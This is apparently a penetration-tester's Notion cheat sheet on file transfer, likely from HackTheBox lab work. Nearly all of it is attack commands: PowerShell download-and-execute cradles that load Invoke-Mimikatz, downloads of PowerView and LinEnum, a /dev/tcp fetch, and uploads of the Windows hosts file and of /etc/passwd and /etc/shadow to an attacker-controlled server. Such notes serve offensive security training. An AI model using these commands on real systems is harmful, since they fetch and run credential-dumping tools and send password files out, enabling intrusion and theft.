File Transfer | Notion

Powershell Download and Execute:

IEX (New-Object Net.WebClient).DownloadString('https://<snip>/Invoke-Mimikatz.ps1')

PowerShell Download Only

(New-Object Net.WebClient).DownloadFile('<Target File URL>','<Output File Name>')
(New-Object Net.WebClient).DownloadFileAsync('<Target File URL>','<Output File Name>')
Invoke-WebRequest <https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1> -OutFile PowerView.ps1

Nice list of Download Cradles

<https://gist.github.com/HarmJ0y/bb48307ffa663256e239>

Base64 Upload File from Windows

PS C:\\htb> $b64 = [System.convert]::ToBase64String((Get-Content -Path 'C:\\Windows\\System32\\drivers\\etc\\hosts' -Encoding Byte))
PS C:\\htb> Invoke-WebRequest -Uri <http://192.168.49.128:8000/> -Method POST -Body $b64

Set up WebDav

sudo pip install wsgidav cheroot
sudo wsgidav --host=0.0.0.0 --port=80 --root=/tmp --auth=anonymous

PowerShell File Upload

(New-Object Net.WebClient).UploadFile('<ftp://192.168.49.128/ftp-hosts>', 'C:\\Windows\\System32\\drivers\\etc\\hosts')

EXEC (Like wget)

exec 3<>/dev/tcp/10.10.10.32/80
echo -e "GET /LinEnum.sh HTTP/1.1\\n\\n">&3
cat <&3

Python3 UploadServer Module

openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate /root/server.pem
curl -X POST <https://192.168.49.128/upload> -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Import Module Here

<https://raw.githubusercontent.com/juliourena/plaintext/master/Powershell/PSUpload.ps1>

Upload to server

Invoke-FileUpload -Uri <http://192.168.49.128:8000/upload> -File YOURFILE